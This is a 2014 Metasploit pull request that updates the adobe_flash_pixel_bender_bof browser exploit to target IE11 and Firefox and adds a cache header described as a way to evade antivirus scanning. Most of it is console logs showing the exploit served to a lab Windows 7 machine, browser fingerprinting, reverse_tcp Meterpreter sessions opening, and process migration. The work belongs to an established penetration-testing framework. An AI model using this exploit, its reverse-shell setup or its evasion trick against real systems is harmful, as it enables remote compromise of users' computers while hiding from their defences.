rapid7/metasploit-framework — pull request #3369 by bugch3ck (2014-05-18 22:22:03+00:00)
Title: Fix adobe_flash_pixel_bender_bof to work on IE11 (+ simple AV-evasion)

Updates to adobe_flash_pixel_bender_bof:
1. Added embed-element to work with IE11 (and Firefox). Removed browser-requirements for ActiveX (clsid and method).
2. Added ```Cache-Control: no-store, no-cache``` HTTP response header on SWF-download to avoid AV-detection (no disk caching = no antivirus-analysis :).

Testing performed:
- Successfully tested with Adobe Flash Player 13.0.0.182 with IE9, IE10 and IE11 running on Windows 7SP1. (Exploit will trigger on FF29, although sandboxed.)
- Successfully evaded AV-detection by setting on Windows 7 SP1 running Microsoft Security Essentials.

## Verification
- [x] Exploit Flash 13.0.0.182 with IE 11 on Windows 7.
```
msf > use exploit/windows/browser/adobe_flash_pixel_bender_bof
msf exploit(adobe_flash_pixel_bender_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(adobe_flash_pixel_bender_bof) > set LHOST 192.168.0.1
LHOST => 192.168.0.1
msf exploit(adobe_flash_pixel_bender_bof) > set VERBOSE true
VERBOSE => true
msf exploit(adobe_flash_pixel_bender_bof) > show options

Module options (exploit/windows/browser/adobe_flash_pixel_bender_bof):

Name Current Setting Required Description
---- --------------- -------- -----------
Retries false no Allow the browser to retry the module
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (accepted: seh, thread, process, none)
LHOST 192.168.0.1 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Automatic

msf exploit(adobe_flash_pixel_bender_bof) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.1:4444
[*] Using URL: http://0.0.0.0:8080/foNNWr3
[*] Local IP: http://10.0.2.15:8080/foNNWr3
[*] Server started.
msf exploit(adobe_flash_pixel_bender_bof) > [*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - No cookie received, resorting to headers hash.
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - Gathering target information.
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - Sending response HTML.
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Info receiver page called.
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Received cookie 'HZxIdkfXRRYXFgUILn'.
[!] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Received sniffed browser data over POST:
{"os_name"=>["Microsoft Windows"], "os_flavor"=>["7"], "ua_name"=>["MSIE"], "ua_ver"=>["11.0"], "arch"=>["x86"], "java"=>["null"], "silverlight"=>["false"], "flash"=>["13.0.0.182"]}.
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Received cookie 'HZxIdkfXRRYXFgUILn'.
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Serving exploit to user with tag HZxIdkfXRRYXFgUILn
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Setting target "HZxIdkfXRRYXFgUILn" to :tried.
[!] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Comparing requirement: source=(?i-mx:script|headers) vs k=script
[!] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Comparing requirement: os_name=Microsoft Windows vs k=Microsoft Windows
[!] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Comparing requirement: flash=# vs k=13.0.0.182
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - Request: /foNNWr3/vhuncr/
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - Sending HTML...
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Received cookie 'HZxIdkfXRRYXFgUILn'.
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Received cookie 'HZxIdkfXRRYXFgUILn'.
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Serving exploit to user with tag HZxIdkfXRRYXFgUILn
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Setting target "HZxIdkfXRRYXFgUILn" to :tried.
[!] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Comparing requirement: source=(?i-mx:script|headers) vs k=script
[!] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Comparing requirement: os_name=Microsoft Windows vs k=Microsoft Windows
[!] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Comparing requirement: flash=# vs k=13.0.0.182
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - Request: /foNNWr3/vhuncr/qLTO.swf
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - Sending SWF...
[*] Sending stage (770048 bytes) to 192.168.0.146
[*] Meterpreter session 1 opened (192.168.0.1:4444 -> 192.168.0.146:49254) at 2014-05-18 23:38:29 +0200
[*] Session ID 1 (192.168.0.1:4444 -> 192.168.0.146:49254) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: IEXPLORE.EXE (852)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2532
[+] Successfully migrated to process

msf exploit(adobe_flash_pixel_bender_bof) >
```

- [x] Exploit Flash 13.0.0.182 with Firefox 29 on Windows 7.
```
msf > use exploit/windows/browser/adobe_flash_pixel_bender_bof
msf exploit(adobe_flash_pixel_bender_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(adobe_flash_pixel_bender_bof) > set LHOST 192.168.0.1
LHOST => 192.168.0.1
msf exploit(adobe_flash_pixel_bender_bof) > set VERBOSE true
VERBOSE => true
msf exploit(adobe_flash_pixel_bender_bof) > show options

Module options (exploit/windows/browser/adobe_flash_pixel_bender_bof):

Name Current Setting Required Description
---- --------------- -------- -----------
Retries false no Allow the browser to retry the module
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (accepted: seh, thread, process, none)
LHOST 192.168.0.1 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Automatic

msf exploit(adobe_flash_pixel_bender_bof) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.1:4444
[*] Using URL: http://0.0.0.0:8080/ITFvZe
[*] Local IP: http://10.0.2.15:8080/ITFvZe
[*] Server started.
msf exploit(adobe_flash_pixel_bender_bof) > [*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - No cookie received, resorting to headers hash.
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - Gathering target information.
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - Sending response HTML.
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Info receiver page called.
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Received cookie 'ICJLa'.
[!] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Received sniffed browser data over POST:
{"os_name"=>["Microsoft Windows"], "os_flavor"=>["7"], "ua_name"=>["Firefox"], "ua_ver"=>["28.0"], "arch"=>["x86"], "java"=>["null"], "silverlight"=>["false"], "flash"=>["13.0"]}.
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Received cookie 'ICJLa'.
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Serving exploit to user with tag ICJLa
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Setting target "ICJLa" to :tried.
[!] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Comparing requirement: source=(?i-mx:script|headers) vs k=script
[!] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Comparing requirement: os_name=Microsoft Windows vs k=Microsoft Windows
[!] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Comparing requirement: flash=# vs k=13.0
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - Request: /ITFvZe/bOJvpT/
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - Sending HTML...
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Received cookie 'ICJLa'.
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Received cookie 'ICJLa'.
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Serving exploit to user with tag ICJLa
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Setting target "ICJLa" to :tried.
[!] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Comparing requirement: source=(?i-mx:script|headers) vs k=script
[!] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Comparing requirement: os_name=Microsoft Windows vs k=Microsoft Windows
[!] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Comparing requirement: flash=# vs k=13.0
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - Request: /ITFvZe/bOJvpT/VtvAN.swf
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - Sending SWF...
[*] Sending stage (770048 bytes) to 192.168.0.146
[*] Meterpreter session 2 opened (192.168.0.1:4444 -> 192.168.0.146:49264) at 2014-05-18 23:46:47 +0200
[*] Session ID 2 (192.168.0.1:4444 -> 192.168.0.146:49264) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: FlashPlayerPlugin_13_0_0_182.exe (588)
[*] Spawning notepad.exe process to migrate to

msf exploit(adobe_flash_pixel_bender_bof) >
```
NOTE: Privileges are limited in Firefox due to sandboxing of plugins. Meterpreter payload cannot upload, execute or migrate.
```
meterpreter > execute -f calc.exe
[-] stdapi_sys_process_execute: Operation failed: Access is denied.
```

- [x] Exploit Flash 13.0.0.182 with IE 10 on Windows 7.
```
msf > use exploit/windows/browser/adobe_flash_pixel_bender_bof
msf exploit(adobe_flash_pixel_bender_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(adobe_flash_pixel_bender_bof) > set LHOST 192.168.0.1
LHOST => 192.168.0.1
msf exploit(adobe_flash_pixel_bender_bof) > set VERBOSE true
VERBOSE => true
msf exploit(adobe_flash_pixel_bender_bof) > exploit
[*] Exploit running as background job.

[-] Handler failed to bind to 192.168.0.1:4444
[*] Started reverse handler on 0.0.0.0:4444
[*] Using URL: http://0.0.0.0:8080/7lC4c5N
[*] Local IP: http://127.0.0.1:8080/7lC4c5N
[*] Server started.
msf exploit(adobe_flash_pixel_bender_bof) > jobs -K
Stopping all jobs...
[*] Server stopped.
msf exploit(adobe_flash_pixel_bender_bof) > back
msf > use exploit/windows/browser/adobe_flash_pixel_bender_bof
msf exploit(adobe_flash_pixel_bender_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(adobe_flash_pixel_bender_bof) > set LHOST 192.168.0.1
LHOST => 192.168.0.1
msf exploit(adobe_flash_pixel_bender_bof) > set VERBOSE true
VERBOSE => true
msf exploit(adobe_flash_pixel_bender_bof) > show options

Module options (exploit/windows/browser/adobe_flash_pixel_bender_bof):

Name Current Setting Required Description
---- --------------- -------- -----------
Retries false no Allow the browser to retry the module
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (accepted: seh, thread, process, none)
LHOST 192.168.0.1 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Automatic

msf exploit(adobe_flash_pixel_bender_bof) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.1:4444
[*] Using URL: http://0.0.0.0:8080/viA08HIb
[*] Local IP: http://127.0.0.1:8080/viA08HIb
[*] Server started.
msf exploit(adobe_flash_pixel_bender_bof) > [*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - No cookie received, resorting to headers hash.
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - Gathering target information.
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - Sending response HTML.
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Info receiver page called.
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Received cookie 'JSZfBqgGRtakDdSYCUc'.
[!] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Received sniffed browser data over POST:
{"os_name"=>["Microsoft Windows"], "os_flavor"=>["7"], "ua_name"=>["MSIE"], "ua_ver"=>["10.0"], "arch"=>["x86"], "java"=>["null"], "silverlight"=>["false"], "flash"=>["13.0.0.182"], "office"=>["null"], "mshtml_build"=>["16866"]}.
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Received cookie 'JSZfBqgGRtakDdSYCUc'.
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Serving exploit to user with tag JSZfBqgGRtakDdSYCUc
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Setting target "JSZfBqgGRtakDdSYCUc" to :tried.
[!] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Comparing requirement: source=(?i-mx:script|headers) vs k=script
[!] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Comparing requirement: os_name=Microsoft Windows vs k=Microsoft Windows
[!] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Comparing requirement: flash=# vs k=13.0.0.182
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - Request: /viA08HIb/rOxNxp/
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - Sending HTML...
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Received cookie 'JSZfBqgGRtakDdSYCUc'.
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Received cookie 'JSZfBqgGRtakDdSYCUc'.
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Serving exploit to user with tag JSZfBqgGRtakDdSYCUc
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Setting target "JSZfBqgGRtakDdSYCUc" to :tried.
[!] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Comparing requirement: source=(?i-mx:script|headers) vs k=script
[!] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Comparing requirement: os_name=Microsoft Windows vs k=Microsoft Windows
[!] 192.168.0.146 adobe_flash_pixel_bender_bof - 192.168.0.146 adobe_flash_pixel_bender_bof - Comparing requirement: flash=# vs k=13.0.0.182
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - Request: /viA08HIb/rOxNxp/jjDWc.swf
[*] 192.168.0.146 adobe_flash_pixel_bender_bof - Sending SWF...
[*] Sending stage (770048 bytes) to 192.168.0.146
[*] Meterpreter session 3 opened (192.168.0.1:4444 -> 192.168.0.146:49194) at 2014-05-19 00:17:27 +0200
[*] Session ID 3 (192.168.0.1:4444 -> 192.168.0.146:49194) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: IEXPLORE.EXE (1964)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2024
[+] Successfully migrated to process

msf exploit(adobe_flash_pixel_bender_bof) >
```